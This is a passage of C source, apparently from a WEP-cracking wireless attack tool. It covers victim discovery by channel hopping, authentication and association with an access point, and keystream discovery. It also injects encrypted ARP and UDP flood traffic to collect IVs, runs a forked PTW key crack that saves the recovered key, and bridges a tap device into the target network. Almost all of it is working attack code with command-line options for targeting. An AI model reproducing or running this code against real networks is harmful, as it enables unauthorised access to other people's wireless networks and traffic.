1891		wh = (struct ieee80211_frame*) arp_pkt;
1892		fill_basic(wh);
1893
1894		wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1895		wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1896		memset(wh->i_addr3, 0xff, 6);
1897
1898		body = (unsigned char*) wh + sizeof(*wh);
1899		ptr = body;
1900		ptr += 4; // iv
1901
1902		do_llc(ptr, ETHERTYPE_ARP);
1903		ptr += 8;
1904		do_arp(ptr, ARPOP_REQUEST, mymac, myip,
1905		       "\x00\x00\x00\x00\x00\x00", netip);
1906
1907		wepify(body, 8+8+20);
1908		arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1909		assert(arp_len < sizeof(arp_pkt));
1910
1911
1912		// construct UDP
1913		wh = (struct ieee80211_frame*) udp_pkt;
1914		fill_basic(wh);
1915
1916		wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1917		wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1918		memcpy(wh->i_addr3, rtrmac, 6);
1919
1920		body = (unsigned char*) wh + sizeof(*wh);
1921		ptr = body;
1922		ptr += 4; // iv
1923
1924		do_llc(ptr, ETHERTYPE_IP);
1925		ptr += 8;
1926
1927		ih = (struct ip*) ptr;
1928		ih->ip_hl = 5;
1929		ih->ip_v = 4;
1930		ih->ip_tos = 0;
1931		ih->ip_len = htons(20+8+5);
1932		ih->ip_id = htons(666);
1933		ih->ip_off = 0;
1934		ih->ip_ttl = 128;
1935		ih->ip_p = IPPROTO_UDP;
1936		ih->ip_sum = 0;
1937
1938		inet_aton(myip, &ih->ip_src);
1939		inet_aton(floodip, &ih->ip_dst);
1940
1941		ih->ip_sum = in_cksum((unsigned short*)ih, 20);
1942
1943		ptr += 20;
1944		uh = (struct udphdr*) ptr;
1945		uh->uh_sport = htons(floodsport);
1946		uh->uh_dport = htons(floodport);
1947		uh->uh_ulen = htons(8+5);
1948		uh->uh_sum = 0;
1949
1950		ptr += 8;
1951		strcpy(ptr, "sorbo");
1952
1953		uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src,
1954					  &ih->ip_dst);
1955
1956		wepify(body, 8+20+8+5);
1957		udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4;
1958		assert(udp_len < sizeof(udp_pkt));
1959
1960		// bootstrap
1961		send_arp = 1;
1962
1963		memset(&last_ip, 0, sizeof(last_ip));
1964	}
1965
1966	if (send_arp == 1) {
1967		struct timeval now;
1968		unsigned long sec;
1969
1970		if (gettimeofday(&now, NULL) == -1) {
1971			perror("gettimeofday()");
1972			exit(1);
1973		}
1974
1975		sec = now.tv_sec - last_ip.tv_sec;
1976
1977		if (sec < 5)
1978			return;
1979
1980		send_frame(tx, arp_pkt, arp_len);
1981		send_arp = 0;
1982	}
1983
1984	else if (send_arp == 0) {
1985		if (gettimeofday(&last_ip, NULL) == -1) {
1986			perror("gettimeofday()");
1987			exit(1);
1988		}
1989
1990		send_frame(tx, udp_pkt, udp_len);
1991		send_arp = 1;
1992	} else assert(0);
1993}
1994
1995void send_arp(int tx, unsigned short op, unsigned char* srcip,
1996	      unsigned char* srcmac, unsigned char* dstip,
1997	      unsigned char* dstmac) {
1998
1999	static unsigned char arp_pkt[128];
2000	unsigned char* body;
2001	unsigned char* ptr;
2002	struct ieee80211_frame* wh;
2003	int arp_len;
2004
2005	memset(arp_pkt, 0, sizeof(arp_pkt));
2006
2007	// construct ARP
2008	wh = (struct ieee80211_frame*) arp_pkt;
2009	fill_basic(wh);
2010
2011	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
2012	wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
2013	memset(wh->i_addr3, 0xff, 6);
2014
2015	body = (unsigned char*) wh + sizeof(*wh);
2016	ptr = body;
2017	ptr += 4; // iv
2018
2019	do_llc(ptr, ETHERTYPE_ARP);
2020	ptr += 8;
2021	do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
2022
2023	wepify(body, 8+8+20);
2024	arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
2025	assert(arp_len < sizeof(arp_pkt));
2026
2027	send_frame(tx, arp_pkt, arp_len);
2028}
2029
2030void can_write(int tx) {
2031	static char arp_ip[16];
2032
2033	switch (state) {
2034		case FOUND_VICTIM:
2035			send_auth(tx);
2036			state = SENDING_AUTH;
2037			break;
2038
2039		case GOT_AUTH:
2040			send_assoc(tx);
2041			state = SENDING_ASSOC;
2042			break;
2043
2044		case GOT_ASSOC:
2045			if (prgainfo.prga && prgainfo.len < min_prga) {
2046				discover_prga(tx);
2047				break;
2048			}
2049
2050			if (decryptstate.cipher) {
2051				decrypt(tx);
2052				break;
2053			}
2054
2055			if (!prgainfo.prga)
2056				break;
2057
2058			if (taptx_len) {
2059				send_frame(tx, taptx, taptx_len);
2060				taptx_len = 0;
2061				break;
2062			}
2063
2064			// try to find rtr mac addr
2065			if (netip && !rtrmac) {
2066				char* ptr;
2067
2068				strcpy(arp_ip, netip);
2069				if (!netip_arg) {
2070					ptr = strchr(arp_ip, '.');
2071					assert(ptr);
2072					ptr = strchr(++ptr, '.');
2073					assert(ptr);
2074					ptr = strchr(++ptr, '.');
2075					assert(ptr);
2076					strcpy(++ptr, "1");
2077				}
2078
2079				if (gettimeofday(&arpsend, NULL) == -1)
2080					err(1, "gettimeofday()");
2081
2082				time_print("Sending arp request for: %s\n", arp_ip);
2083				send_arp(tx, ARPOP_REQUEST, myip, mymac,
2084					 arp_ip, "\x00\x00\x00\x00\x00\x00");
2085
2086				// XXX lame
2087				rtrmac = (unsigned char*)1;
2088				break;
2089			}
2090
2091			// need to generate traffic...
2092			if (rtrmac > (unsigned char*)1 && netip) {
2093				if (floodip)
2094					flood_inet(tx);
2095				else {
2096					// XXX lame technique... anyway... im
2097					// only interested in flood_inet...
2098
2099					// could ping broadcast....
2100					send_arp(tx, ARPOP_REQUEST, myip, mymac,
2101						 arp_ip, "\x00\x00\x00\x00\x00\x00");
2102				}
2103
2104				break;
2105			}
2106
2107			break;
2108	}
2109}
2110
2111void save_key(unsigned char *key, int len)
2112{
2113	char tmp[16];
2114	char k[64];
2115	int fd;
2116	int rd;
2117
2118	assert(len*3 < sizeof(k));
2119
2120	k[0] = 0;
2121	while (len--) {
2122		sprintf(tmp, "%.2X", *key++);
2123		strcat(k, tmp);
2124		if (len)
2125			strcat(k, ":");
2126	}
2127
2128	fd = open(KEY_FILE, O_WRONLY | O_CREAT | 0644);
2129	if (fd == -1)
2130		err(1, "open()");
2131
2132	printf("\nKey: %s\n", k);
2133	rd = write(fd, k, strlen(k));
2134	if (rd == -1)
2135		err(1, "write()");
2136	if (rd != strlen(k))
2137		errx(1, "write %d/%d\n", rd, strlen(k));
2138	close(fd);
2139}
2140
2141#define KEYLIMIT (1000000)
2142int do_crack(void)
2143{
2144	unsigned char key[PTW_KEYHSBYTES];
2145
2146	if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) {
2147		save_key(key, 13);
2148		return 1;
2149	}
2150	if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) {
2151		save_key(key, 5);
2152		return 1;
2153	}
2154
2155	return 0;
2156}
2157
2158void try_crack() {
2159	if (crack_pid) {
2160		printf("\n");
2161		time_print("Warning... previous crack still running!\n");
2162		kill_crack();
2163	}
2164
2165	if (weplog.fd) {
2166		if (fsync(weplog.fd) == -1)
2167			err(1, "fsync");
2168	}
2169
2170	crack_pid = fork();
2171
2172	if (crack_pid == -1)
2173		err(1, "fork");
2174
2175	// child
2176	if (crack_pid == 0) {
2177		if (!do_crack())
2178			printf("\nCrack unsuccessful\n");
2179		exit(1);
2180	}
2181
2182	// parent
2183	printf("\n");
2184	time_print("Starting crack PID=%d\n", crack_pid);
2185	if (gettimeofday(&crack_start, NULL) == -1)
2186		err(1, "gettimeofday");
2187
2188
2189	wep_thresh += thresh_incr;
2190}
2191
2192void open_tap() {
2193	struct stat st;
2194	int s;
2195	struct ifreq ifr;
2196	unsigned int flags;
2197
2198	tapfd = open(TAP_DEV, O_RDWR);
2199	if (tapfd == -1) {
2200		printf("Can't open tap: %s\n", strerror(errno));
2201		exit(1);
2202	}
2203	if(fstat(tapfd, &st) == -1) {
2204		perror("fstat()");
2205		exit(1);
2206	}
2207
2208	// feer
2209	strcpy(tapdev, devname(st.st_rdev, S_IFCHR));
2210
2211	s = socket(PF_INET, SOCK_DGRAM, 0);
2212	if (s == -1) {
2213		perror("socket()");
2214		exit(1);
2215	}
2216
2217	// MTU
2218	memset(&ifr, 0, sizeof(ifr));
2219	strcpy(ifr.ifr_name, tapdev);
2220	ifr.ifr_mtu = 1500;
2221	if (ioctl(s, SIOCSIFMTU, &ifr) == -1) {
2222		perror("ioctl(SIOCSIFMTU)");
2223		exit(1);
2224	}
2225
2226	// set iface up
2227	memset(&ifr, 0, sizeof(ifr));
2228	strcpy(ifr.ifr_name, tapdev);
2229	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
2230		perror("ioctl(SIOCGIFFLAGS)");
2231		exit(1);
2232	}
2233
2234	flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
2235	flags |= IFF_UP;
2236
2237	memset(&ifr, 0, sizeof(ifr));
2238	strcpy(ifr.ifr_name, tapdev);
2239	ifr.ifr_flags = flags & 0xffff;
2240	ifr.ifr_flagshigh = flags >> 16;
2241	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
2242		perror("ioctl(SIOCSIFFLAGS)");
2243		exit(1);
2244	}
2245
2246	close(s);
2247	time_print("Opened tap device: %s\n", tapdev);
2248}
2249
2250void read_tap() {
2251	unsigned char buf[4096];
2252	struct ether_header* eh;
2253	struct ieee80211_frame* wh;
2254	int rd;
2255	unsigned char* ptr, *body;
2256	int dlen;
2257
2258	rd = read(tapfd, buf, sizeof(buf));
2259	if (rd == -1) {
2260		perror("read()");
2261		exit(1);
2262	}
2263	dlen = rd - sizeof(*eh);
2264
2265	assert(dlen > 0);
2266
2267	if (dlen+8 > prgainfo.len) {
2268		printf("\n");
2269		// XXX lame message...
2270		time_print("Sorry... want to send %d but only got %d prga\n",
2271			   dlen, prgainfo.len);
2272		return;
2273
2274	}
2275
2276	if (taptx_len) {
2277		printf("\n");
2278		time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n");
2279		// XXX could not read instead and get rid of it in select...
2280	}
2281
2282	assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8));
2283
2284	eh = (struct ether_header*) buf;
2285
2286	wh = (struct ieee80211_frame*) taptx;
2287	memset(wh, 0, sizeof(*wh));
2288	fill_basic(wh);
2289
2290        wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
2291        wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
2292
2293	memcpy(wh->i_addr2, eh->ether_shost, 6);
2294	memcpy(wh->i_addr3, eh->ether_dhost, 6);
2295
2296        body = (unsigned char*) wh + sizeof(*wh);
2297        ptr = body;
2298        ptr += 4; // iv
2299
2300	do_llc(ptr, ntohs(eh->ether_type));
2301	ptr += 8;
2302
2303	memcpy(ptr, &buf[sizeof(*eh)], dlen);
2304
2305	wepify(body, 8+dlen);
2306	taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4;
2307
2308	assert (taptx_len < sizeof(taptx));
2309}
2310
2311int elapsedd(struct timeval *past, struct timeval *now)
2312{
2313        int el;
2314
2315        el = now->tv_sec - past->tv_sec;
2316        assert(el >= 0);
2317        if (el == 0) {
2318                el = now->tv_usec - past->tv_usec;
2319        } else {
2320                el = (el - 1)*1000*1000;
2321                el += 1000*1000-past->tv_usec;
2322                el += now->tv_usec;
2323        }
2324
2325        return el;
2326}
2327
2328static unsigned char *get_80211(unsigned char **data, int *totlen, int *plen)
2329{
2330#define BIT(n)  (1<<(n))
2331        struct bpf_hdr *bpfh;
2332        struct ieee80211_radiotap_header *rth;
2333        uint32_t present;
2334        uint8_t rflags;
2335        void *ptr;
2336	static int nocrc = 0;
2337
2338	assert(*totlen);
2339
2340        /* bpf hdr */
2341        bpfh = (struct bpf_hdr*) (*data);
2342        assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
2343        *totlen -= bpfh->bh_hdrlen;
2344
2345        /* check if more packets */
2346        if ((int)bpfh->bh_caplen < *totlen) {
2347                int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
2348                int offset = BPF_WORDALIGN(tot);
2349
2350                *data = (char*)bpfh + offset;
2351                *totlen -= offset - tot; /* take into account align bytes */
2352        } else if ((int)bpfh->bh_caplen > *totlen)
2353                abort();
2354
2355        *plen = bpfh->bh_caplen;
2356        *totlen -= bpfh->bh_caplen;
2357        assert(*totlen >= 0);
2358
2359        /* radiotap */
2360        rth = (struct ieee80211_radiotap_header*)
2361              ((char*)bpfh + bpfh->bh_hdrlen);
2362        /* XXX cache; drivers won't change this per-packet */
2363        /* check if FCS/CRC is included in packet */
2364        present = le32toh(rth->it_present);
2365        if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
2366                if (present & BIT(IEEE80211_RADIOTAP_TSFT))
2367                        rflags = ((const uint8_t *)rth)[8];
2368                else
2369                        rflags = ((const uint8_t *)rth)[0];
2370        } else
2371                rflags = 0;
2372        *plen -= rth->it_len;
2373        assert(*plen > 0);
2374
2375        /* 802.11 CRC */
2376        if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
2377                *plen -= IEEE80211_CRC_LEN;
2378                nocrc = 1;
2379        }
2380
2381        ptr = (char*)rth + rth->it_len;
2382
2383        return ptr;
2384#undef BIT
2385}
2386
2387static int read_packet(int fd, unsigned char *dst, int len)
2388{
2389	static unsigned char buf[4096];
2390	static int totlen = 0;
2391	static unsigned char *next = buf;
2392        unsigned char *pkt;
2393        int plen;
2394
2395        assert(len > 0);
2396
2397        /* need to read more */
2398        if (totlen == 0) {
2399                totlen = read(fd, buf, sizeof(buf));
2400                if (totlen == -1) {
2401                        totlen = 0;
2402                        return -1;
2403                }
2404                next = buf;
2405        }
2406
2407        /* read 802.11 packet */
2408        pkt = get_80211(&next, &totlen, &plen);
2409        if (plen > len)
2410                plen = len;
2411        assert(plen > 0);
2412        memcpy(dst, pkt, plen);
2413
2414        return plen;
2415}
2416
2417void own(int wifd) {
2418	unsigned char buf[4096];
2419	int rd;
2420	fd_set rfd;
2421	struct timeval tv;
2422	char *pbar = "/-\\|";
2423	char *pbarp = &pbar[0];
2424	struct timeval lasthop;
2425	struct timeval now;
2426	unsigned int last_wep_count = 0;
2427	struct timeval last_wcount;
2428	struct timeval last_status;
2429	int fd;
2430	int largest;
2431
2432	weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
2433	if (weplog.fd == -1) {
2434		struct pcap_file_header pfh;
2435
2436		memset(&pfh, 0, sizeof(pfh));
2437		pfh.magic           = TCPDUMP_MAGIC;
2438		pfh.version_major   = PCAP_VERSION_MAJOR;
2439		pfh.version_minor   = PCAP_VERSION_MINOR;
2440		pfh.thiszone        = 0;
2441		pfh.sigfigs         = 0;
2442		pfh.snaplen         = 65535;
2443		pfh.linktype        = LINKTYPE_IEEE802_11;
2444
2445		weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
2446				 S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
2447		if (weplog.fd != -1) {
2448			if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh))
2449				err(1, "write()");
2450		}
2451	}
2452	else {
2453		time_print("WARNING: Appending in %s\n", WEP_FILE);
2454	}
2455
2456	if (weplog.fd == -1) {
2457		perror("open()");
2458		exit(1);
2459	}
2460
2461	fd = open(PRGA_FILE, O_RDONLY);
2462	if (fd != -1) {
2463		time_print("WARNING: reading prga from %s\n", PRGA_FILE);
2464		rd = read(fd, buf, sizeof(buf));
2465		if (rd == -1) {
2466			perror("read()");
2467			exit(1);
2468		}
2469		if (rd >= 8) {
2470			set_prga(buf, NULL, &buf[3], rd - 3);
2471		}
2472
2473		close(fd);
2474	}
2475
2476	fd = open(DICT_PATH, O_RDONLY);
2477	if (fd == -1) {
2478		time_print("Creating dictionary directory (%s)\n", DICT_PATH);
2479		if (mkdir (DICT_PATH, 0755) == -1) {
2480			perror("mkdir()");
2481			exit(1);
2482		}
2483	}
2484	else
2485		close(fd);
2486
2487	open_tap();
2488	set_if_mac(mymac, tapdev);
2489	time_print("Set tap MAC to: %s\n", mac2str(mymac));
2490
2491	if (tapfd > wifd)
2492		largest = tapfd;
2493	else
2494		largest = wifd;
2495
2496	if (signal(SIGINT, &cleanup) == SIG_ERR) {
2497		perror("signal()");
2498		exit(1);
2499	}
2500	if (signal (SIGTERM, &cleanup) == SIG_ERR) {
2501		perror("signal()");
2502		exit(1);
2503	}
2504
2505	time_print("Looking for a victim...\n");
2506	if (gettimeofday(&lasthop, NULL) == -1) {
2507		perror("gettimeofday()");
2508		exit(1);
2509	}
2510
2511	memcpy(&last_wcount, &lasthop, sizeof(last_wcount));
2512	memcpy(&last_status, &lasthop, sizeof(last_status));
2513
2514	while (1) {
2515		if (gettimeofday(&now, NULL) == -1) {
2516			perror("gettimeofday()");
2517			exit(1);
2518		}
2519
2520		/* check for relay timeout */
2521		if (fragstate.waiting_relay) {
2522			int el;
2523
2524			el = now.tv_sec - fragstate.last.tv_sec;
2525			assert (el >= 0);
2526			if (el == 0) {
2527				el = now.tv_usec - fragstate.last.tv_usec;
2528			} else {
2529				el--;
2530
2531				el *= 1000*1000;
2532				el += 1000*1000 - fragstate.last.tv_usec;
2533				el += now.tv_usec;
2534
2535				if (el > (1500*1000)) {
2536//					printf("\nLAMER timeout\n\n");
2537					free(fragstate.data);
2538					fragstate.data = 0;
2539				}
2540			}
2541		}
2542
2543		/* check for arp timeout */
2544		if (rtrmac == (unsigned char*) 1) {
2545			int el;
2546
2547			el = elapsedd(&arpsend, &now);
2548			if (el >= (1500*1000)) {
2549				rtrmac = 0;
2550			}
2551		}
2552
2553		// status bar
2554		if ( (now.tv_sec > last_status.tv_sec ) ||
2555		     ( now.tv_usec - last_status.tv_usec > 100*1000)) {
2556		     	if (crack_pid && (now.tv_sec > last_status.tv_sec)) {
2557				check_key();
2558			}
2559			if (netip && prgainfo.len >= min_prga &&
2560			    rtrmac > (unsigned char*) 1) {
2561				time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d)         \r",
2562				       weplog.packets, wep_thresh,
2563				       weplog.iv[0], weplog.iv[1], weplog.iv[2],
2564				       weplog.rate);
2565				fflush(stdout);
2566			}
2567			else {
2568				if (state == FIND_VICTIM)
2569					time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp);
2570				else if (decryptstate.cipher) {
2571					int pos = decryptstate.prgainfo.len - 1;
2572					unsigned char prga = decryptstate.prgainfo.prga[pos];
2573					assert(pos);
2574
2575					time_print("Guessing PRGA %.2x (IP byte=%d)    \r",
2576						   prga, decryptstate.cipher[pos] ^ prga);
2577				}
2578				else
2579					time_print("%c\r", *pbarp);
2580				fflush(stdout);
2581			}
2582			memcpy(&last_status, &now,sizeof(last_status));
2583		}
2584
2585		// check if we are cracking
2586		if (crack_pid) {
2587			if (now.tv_sec - crack_start.tv_sec >= crack_dur)
2588				kill_crack();
2589		}
2590
2591		// check TX  / retransmit
2592		if (txstate.waiting_ack) {
2593			unsigned int elapsed = now.tv_sec -
2594					       txstate.tsent.tv_sec;
2595			elapsed *= 1000*1000;
2596			elapsed += (now.tv_usec - txstate.tsent.tv_usec);
2597
2598			if (elapsed >= ack_timeout)
2599				send_frame(wifd, NULL, -1);
2600		}
2601
2602		// INPUT
2603		// select
2604		FD_ZERO(&rfd);
2605		FD_SET(wifd, &rfd);
2606		FD_SET(tapfd, &rfd);
2607		tv.tv_sec = 0;
2608		tv.tv_usec = 1000*10;
2609		rd = select(largest+1, &rfd, NULL, NULL, &tv);
2610		if (rd == -1) {
2611			perror("select()");
2612			exit(1);
2613		}
2614
2615		// read
2616		if (rd != 0) {
2617			// wifi
2618			if (FD_ISSET(wifd, &rfd)) {
2619				rd = read_packet(wifd, buf, sizeof(buf));
2620				if (rd == 0)
2621					return;
2622				if (rd == -1) {
2623					perror("read()");
2624					exit(1);
2625				}
2626
2627				pbarp++;
2628				if(!(*pbarp))
2629					pbarp = &pbar[0];
2630				// input
2631				anal(buf, rd, wifd);
2632			}
2633
2634			// tap
2635			if (FD_ISSET(tapfd, &rfd)) {
2636				read_tap();
2637			}
2638		}
2639
2640		// check state and what we do next.
2641		if (state == FIND_VICTIM) {
2642			if (now.tv_sec > lasthop.tv_sec ||
2643			    ( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) {
2644				int chan = chaninfo.chan;
2645				chan++;
2646
2647				if(chan > max_chan)
2648					chan = 1;
2649
2650				set_chan(chan);
2651				memcpy(&lasthop, &now, sizeof(lasthop));
2652			}
2653		} else {
2654		// check if we need to write something...
2655			if (!txstate.waiting_ack)
2656				can_write(wifd);
2657
2658			// roughly!
2659
2660#ifdef MORE_ACCURATE
2661			if ( (now.tv_sec - last_wcount.tv_sec) >= 2) {
2662				unsigned int elapsed;
2663				int secs;
2664				int packetz = weplog.packets - last_wep_count;
2665				elapsed = 1000*1000;
2666
2667				elapsed -= last_wcount.tv_usec;
2668
2669				assert(elapsed >= 0);
2670				elapsed += now.tv_usec;
2671
2672				secs = now.tv_sec - last_wcount.tv_sec;
2673				secs--;
2674				if (secs > 0)
2675					elapsed += (secs*1000*1000);
2676
2677				weplog.rate = (int)
2678				((double)packetz/(elapsed/1000.0/1000.0));
2679#else
2680			if ( now.tv_sec > last_wcount.tv_sec) {
2681				weplog.rate = weplog.packets - last_wep_count;
2682#endif
2683				last_wep_count = weplog.packets;
2684				memcpy(&last_wcount, &now, sizeof(now));
2685
2686				if (wep_thresh != -1 && weplog.packets > wep_thresh)
2687					try_crack();
2688			}
2689		}
2690	}
2691}
2692
2693void start(char *dev) {
2694	int fd;
2695
2696	setup_if(dev);
2697
2698	fd = open_bpf(dev, DLT_IEEE802_11_RADIO);
2699
2700	ptw = PTW_newattackstate();
2701	if (!ptw)
2702		err(1, "PTW_newattackstate()");
2703
2704	own(fd);
2705
2706#if 0
2707	{
2708		int i;
2709		struct timeval tv;
2710		set_chan(11);
2711		for (i = 0; i < 10; i++) {
2712			gettimeofday(&tv, NULL);
2713
2714			send_ack(tx);
2715//			usleep(500);
2716			printf("%lu\n", tv.tv_usec);
2717		}
2718	}
2719#endif
2720
2721	close(fd);
2722}
2723
2724void usage(char* pname) {
2725	printf("Usage: %s <opts>\n", pname);
2726	printf("-h\t\tthis lame message\n");
2727	printf("-i\t\t<iface>\n");
2728	printf("-s\t\t<flood server ip>\n");
2729	printf("-m\t\t<my ip>\n");
2730	printf("-n\t\t<net ip>\n");
2731	printf("-r\t\t<rtr mac>\n");
2732	printf("-a\t\t<mymac>\n");
2733	printf("-c\t\tdo not crack\n");
2734	printf("-p\t\t<min prga>\n");
2735	printf("-4\t\t64 bit key\n");
2736	printf("-v\t\tvictim mac\n");
2737	printf("-t\t\t<crack thresh>\n");
2738	printf("-f\t\t<max chan>\n");
2739	exit(0);
2740}
2741
2742void str2mac(unsigned char* dst, unsigned char* mac) {
2743	unsigned int macf[6];
2744	int i;
2745
2746	if( sscanf(mac, "%x:%x:%x:%x:%x:%x",
2747                   &macf[0], &macf[1], &macf[2],
2748                   &macf[3], &macf[4], &macf[5]) != 6) {
2749
2750		   printf("can't parse mac %s\n", mac);
2751		   exit(1);
2752	}
2753
2754	for (i = 0; i < 6; i++)
2755		*dst++ = (unsigned char) macf[i];
2756}
2757
2758int main(int argc, char *argv[]) {
2759	unsigned char* dev = "ath0";
2760	unsigned char rtr[6];
2761	unsigned char vic[6];
2762
2763	int ch;
2764
2765	if (gettimeofday(&real_start, NULL) == -1) {
2766		perror("gettimeofday()");
2767		exit(1);
2768	}
2769
2770	chaninfo.s = -1;
2771	victim.ssid = 0;
2772	prgainfo.len = 0;
2773
2774	memset(&txstate, 0, sizeof(txstate));
2775	memset(&fragstate, 0, sizeof(fragstate));
2776	memset(&decryptstate, 0, sizeof(decryptstate));
2777	memset(&weplog, 0, sizeof(weplog));
2778
2779	state = FIND_VICTIM;
2780
2781	while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:t:f:")) != -1) {
2782		switch (ch) {
2783			case 'a':
2784				str2mac(mymac, optarg);
2785				break;
2786
2787			case 's':
2788				floodip = optarg;
2789				break;
2790
2791			case 'i':
2792				dev = optarg;
2793				break;
2794
2795			case 'm':
2796				strncpy(myip, optarg, sizeof(myip)-1);
2797				myip[sizeof(myip)-1] = 0;
2798				break;
2799
2800			case 'n':
2801				netip = optarg;
2802				netip_arg = 1;
2803				break;
2804
2805			case 'r':
2806				str2mac(rtr, optarg);
2807				rtrmac = rtr;
2808				break;
2809
2810			case 'v':
2811				str2mac(vic, optarg);
2812				victim_mac = vic;
2813				break;
2814
2815			case 'c':
2816				wep_thresh = -1;
2817				break;
2818
2819			case 'p':
2820				min_prga = atoi(optarg);
2821				break;
2822
2823			case 't':
2824				thresh_incr = wep_thresh = atoi(optarg);
2825				break;
2826
2827			case 'f':
2828				max_chan = atoi(optarg);
2829				break;
2830
2831			case '4':
2832				bits = 64;
2833				break;
2834
2835			default:
2836				usage(argv[0]);
2837				break;
2838		}
2839	}
2840
2841	start(dev);
2842
2843	if(chaninfo.s != -1)
2844		close(chaninfo.s);
2845	if(victim.ssid)
2846		free(victim.ssid);
2847	exit(0);
2848}
2849